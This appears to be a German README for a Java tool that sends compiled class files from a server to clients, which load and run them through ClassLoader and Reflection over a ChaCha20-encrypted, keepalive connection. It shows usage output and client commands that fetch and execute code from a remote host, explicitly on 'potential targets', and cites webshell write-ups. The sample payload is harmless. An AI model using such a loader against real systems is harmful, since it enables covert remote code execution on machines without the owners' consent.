
Client-Server-Tool zum Fernladen und Ausführen von Java-Bytecode über ClassLoader und Reflect API, mit ChaCha20-Verschlüsselung und Keepalive-Verbindung.
Mit diesem Tool können Sie Java-Bytecode in Form von Class-Dateien an Ihre Clients (oder potenzielle Ziele) senden, um ihn mit Java ClassLoader und der Reflect API zu laden und auszuführen. Der Client empfängt die Class-Datei vom Server und gibt die entsprechende Ausgabe zurück. Payloads müssen in Java geschrieben und kompiliert sein, bevor der Server gestartet wird.
Das Tool wurde mit OpenJDK 11 und dem Java-JRE-Paket sowohl unter Windows als auch unter Linux (portable ZIP-Version) getestet. Aufgrund der Abhängigkeiten sollte die Java-Version 11 oder höher sein.
https://www.openlogic.com/openjdk-downloads
$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server
Angenommen, Sie haben folgenden Hello-World-Payload in der Datei Payload.java:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
Dann sollten Sie die entsprechende Payload.class-Datei kompilieren und erzeugen.
Um den Serverprozess zu starten, der auf Port 1337 auf allen Netzwerkschnittstellen lauscht:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Auf der Clientseite können Sie dasselbe JAR-Paket mit dem Flag -client und dem vom Server generierten symmetrischen Schlüssel verwenden. Geben Sie die IP-Adresse und den Port des Servers an, zu dem eine Verbindung hergestellt werden soll. Sie können auch den Klassennamen und die Klassenmethode ändern (Standard sind Payload bzw. String exec()). Zusätzlich können Sie -keepalive angeben, um den Client dazu zu bringen, die Class-Datei kontinuierlich vom Server anzufordern, während die Verbindung aufrechterhalten wird.
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server
Weitere Informationen finden Sie im Blogbeitrag zur Entwicklung dieses Tools: https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/.
https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
https://venishjoe.net/post/dynamically-load-compiled-java-class/
https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html